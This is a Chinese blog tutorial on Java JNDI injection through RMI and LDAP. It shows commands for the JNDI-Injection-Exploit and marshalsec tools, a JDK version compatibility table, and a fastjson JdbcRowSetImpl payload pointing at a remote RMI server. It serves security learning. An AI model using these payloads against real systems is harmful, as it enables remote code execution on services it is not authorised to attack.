Java安全—JNDI注入RMI服务LDAP服务JDK绕过

前言

上次讲到JNDI注入这个玩意,但是没有细讲,现在就给它详细地讲个明白。

JNDI注入

那什么是JNDI注入呢,JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源,NDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

我说白了JNDI其实就是一个接口,可以通过这个接口去调用一些远程服务。

先新建一个项目叫JNDI-demo。

JavaEE建议选择8。

接着新建一个类叫JNDIdemo。

写入以下的代码,当Java想要远程调用一个对象的时候,可以用javax.naming.InitialContext这个类的lookup方法来调用,这个调用支持Rmi和Ldap协议。

package com.sf.maven.jndidemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIdemo {
    public static void main(String[] args) throws NamingException {
        //创建rmi、ldap服务
        InitialContext ic = new InitialContext();
        //调用服务
        ic.lookup("");
    }
}

JNDI-Injection-Exploit

我们先创建一个rmi服务,还是利用JNDI-Injection-Exploit这个工具,命令就是弹出一个计算机。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx。xxx

代码填入我们的链接,直接运行代码可以看到弹出计算机。

marshalsec-0.0.3-SNAPSHOT

就相当于我本地电脑通过rmi去请求一个远程的class文件,并且执行里面的代码。如果我们换一个工具来搞的话效果会更直观,我们先新建一个名为Test的Java文件。

写入以下的代码,就是一个命令执行,弹出计算机。

来到Test的目录下面,把它编译成.class文件。

javac .\Test.java

把这个class文件放到web目录上面,或者你开个临时http服务也行。

python -m http.server 8080

现在利用marshalsec-0.0.3-SNAPSHOT-all.jar这个工具来生成调用链接,这个就没有JNDI-Injection-Exploit那么方便,要像上面那样自己编写class文件,不会根据命令给你自动生成。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test      //启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test      //启动RMI服务

可以看到会生成一个端口连接。

使用远程调用。

lookup(“ldap://xx.xx.xx.xx:1389/Test”)

lookup(“rmi://xx.xx.xx.xx:1099/Test”)

妈的不知道为啥一直弹不了计算机出来,但是RMI服务和http服务是显示有连接的,你妹的。

而且我java版本都是在1.8.0_112的啊。

崩溃啦,有无了解的师傅可以指点一二。

哎,接着我们来看看不同版本JDK或者不同的工具,是否都能调用JDK和RMI,过程就是不断换JDK版本去测试就行了,具体我就不演示了,直接给给过吧。

PS:8U112相当于1.8.0_112,其它的也是同理。

RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

LDAP  - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以

LDAP  - jndi-inject工具
DK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

这里网上搞的包浆图,可以看到不同的java版本所能调用的协议也是不同的。

或者你用其它的类也能达到JNDI注入。

黑盒测试

那我们怎样去知道有无JNDI注入这个漏洞呢,我们可以通过发送错误数据去判断,这里发送个错误的json数据,然后报错中返回了fastjson,说明可能存在JNDI注入,然后利用DNSlog验证一下即可。

POC编写

假如我们知道有fastjson这个漏洞,该如何编写poc呢,上次我们演示fastjson的时候是自己写一个类com.wlwznb.user。

但是实战中我们不可能自己去写一个,得用java自带的,所以我们要指定com.sun.rowset.JdbcRowSetImpl这个类,但是上面我们说是通过javax.naming.InitialContext.lookup()这个方法来实现远程调用的,那为啥不指定这个。

其实是com.sun.rowset.JdbcRowSetImpl这个类里面自带了InitialContext.lookup()方法,由上面图片可见。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}

总结

说实话JNDI对于不熟悉java的同学来说还是挺牢的,毕竟涉及了很多java开发的东西。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

参考文章:

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://blog.csdn.net/wushangyu32335/article/details/136131244

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/924609.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue2:Cascader 级联选择器的两种数据初始化方式

背景 项目中有时需要使用级联选择器,供用户从多层数据中逐级选择。官网中的示例都使用的静态数据,但是实际应用中,大部分情况是需要从后台动态获取业务数据的。所以,今天记录一下从后台获取数据进行初始化的两种方式:懒加载模式和全部加载模式及其优缺点。 懒加载模式的实…

【21-30期】Java技术深度剖析:从分库分表到微服务的核心问题解析

🚀 作者 :“码上有前” 🚀 文章简介 :Java 🚀 欢迎小伙伴们 点赞👍、收藏⭐、留言💬 文章题目:Java技术深度剖析:从分库分表到微服务的核心问题解析 摘要: 本…

七牛云AIGC内容安全方案助力企业合规创新

随着人工智能生成内容(AIGC)技术的飞速发展,内容审核的难度也随之急剧上升。在传统审核场景中,涉及色情、政治、恐怖主义等内容的标准相对清晰明确,但在AIGC的应用场景中,这些界限变得模糊且难以界定。用户可能通过交互性引导AI生成违规内容,为审核工作带来了前所未有的不可预测…

深入FastAPI:表单和文件上传详解

引言 大家好,我是GISerLiu 😁,一名热爱AI技术的GIS开发者。本系列文章是我跟随DataWhale 2024年11月学习赛的FastAPI学习总结文档;在实际开发中,我们经常需要处理表单数据和文件上传。本文将深入探讨如何在 FastAPI 中…

学习HTML第三十三天

学习文章目录 一.fieldset 与 legend 的使用(了解)二.表单总结三.框架标签 一.fieldset 与 legend 的使用(了解) fieldset 可以为表单控件分组、 legend 标签是分组的标题 二.表单总结 form表单: action 属性&#…

使用NAS开启无纸化办公,Docker部署开源文档管理系统『Paperless-ngx』

使用NAS开启无纸化办公,Docker部署开源文档管理系统『Paperless-ngx』 哈喽小伙伴们好,我是Stark-C~ 对于文案类的办公场景来说,手头堆放最多的可能就是各种文档文件,以及各种用过的打印废纸。 这么多年来,不管是领…

SQL基础入门——SQL基础语法

1. 数据库、表、列的创建与管理 在SQL中,数据库是一个数据的集合,包含了多个表、视图、索引、存储过程等对象。每个表由若干列(字段)组成,表中的数据行代表记录。管理数据库和表的结构是SQL的基础操作。 1.1 创建数据…

YOLOv11融合PIDNet中的PagFM模块及相关改进思路

YOLOv11v10v8使用教程: YOLOv11入门到入土使用教程 YOLOv11改进汇总贴:YOLOv11及自研模型更新汇总 《PIDNet: A Real-time Semantic Segmentation Network Inspired by PID Controllers》 一、 模块介绍 论文链接:https://arxiv.org/pdf/2…

什么是代理,nodenginx前端代理详解

一. 什么是代理? 代理就是通过一个特殊的网络服务去访问另一网络服务的一种间接访问方式。像我们不能直接访问国外的网站,只能使用VPN,就是使用了代理 二. 前端为什么要用代理? 首先明确以下两个概念 (1&#xff09…

BERT解析

BERT项目 我在BERT添加注释和部分推理代码 main.py vocab WordVocab.load_vocab(args.vocab_path)#加载vocab那么这个加载的二进制是什么呢? 1. 加载数据集 继承关系:TorchVocab --> Vocab --> WordVocab TorchVocab 该类主要是定义了一个词…

《独立开发:Spring 框架的综合应用》

一、Spring 框架概述 Spring 是一个分层的 Java SE/EE full-stack 轻量级开源框架,以 IoC 和 AOP 为内核,具有方便解耦、方便集成优秀框架、降低 Java EE API 使用难度等优点。 Spring 框架因其强大的功能以及卓越的性能而受到众多开发人员的喜爱。它是…

JMeter如何配置分布式?

一、复制两个代理机 二、代理机一 在第一个D:\install\apache-jmeter1\bin目录下,修改"jmeter.properties"文件 搜索"server_port"改成"server_port1999", "#server.rmi.ssl.disablefalse"改成"server.r…

多目标优化算法——多目标粒子群优化算法(MOPSO)

Handling Multiple Objectives With Particle Swarm Optimization(多目标粒子群优化算法) 一、摘要: 本文提出了一种将帕累托优势引入粒子群优化算法的方法,使该算法能够处理具有多个目标函数的问题。与目前其他将粒子群算法扩展…

物联网实验室建设方案

一、物联网实验室建设 (1) 基础理论教学云平台 唯众基础理论教学云平台是一个专为物联网相关专业教学打造的综合性在线教学平台。该平台凭借先进的技术架构和丰富的教学资源,为师生提供了一个高效、便捷、互动的学习环境。以下是该平台的主要特点和功能描述&#…

【汇编语言】call 和 ret 指令(一) —— 探讨汇编中的ret和retf指令以及call指令及其多种转移方式

文章目录 前言1. ret 和 retf1.1 ret 指令1.1.1 功能与理解1.1.2 程序演示 1.2 retf 指令1.2.1 功能与理解1.2.2 程序演示 2. call 指令3. 依据位移进行转移的call指令3.1 格式与功能3.1.1 格式3.1.2 功能 3.2 理解指令 4. 转移的目的地址在指令中的call指令4.1 格式与功能4.1.…

(免费送源码)计算机毕业设计原创定制:Java+B/S+SSM+Web前端开发技术+IDEA+MySQL+Navicat 有风小院

摘 要 信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克的课题。针对有风小院等问题,对有风小院信息…

# DBeaver 连接hive数仓

前提 前提是基于hadoop的hive服务已经启动,其中hive的服务包括metastore元数据服务和hiveserver2服务已经启动。hiveserver2服务在默认端口10000启动,且通过telnet xx.xx.xx.xx 10000 能通。 满足以上要求后,再可以看以下连接文档&#xff…

数据结构:链表进阶

链表进阶 1. ArrayList的缺陷2. 链表2.1 链表的概念及结构2.2 链表的实现 3.链表面试题4.LinkedList的使用5.1 什么是LinkedList4.2 LinkedList的使用 5. ArrayList和LinkedList的区别 1. ArrayList的缺陷 通过源码知道,ArrayList底层使用数组来存储元素&#xff1…

DVWA 在 Windows 环境下的部署指南

目录预览 一、靶场介绍二、前置准备1. 环境准备2.靶场下载 三、安装步骤1.配置Phpstudy2.配置数据库3.配置DVWA4.登入DVWA靶场 四、参考链接 一、靶场介绍 DVWA 一共包含了十个攻击模块,分别是: Brute Force(暴力(破解&#xff…

关于如何在k8s中搭建一个nsfw黄图鉴定模型

随着现在应用内图片越来越多,安全审查也是必不可少的一个操作了 下面手把手教你如何将huggingface中的黄图检测模型部署到自己的服务器上去 1.找到对应的模型 nsfw_image_detection 2.在本地先验证如何使用 首先安装transformers python库 pip install transform…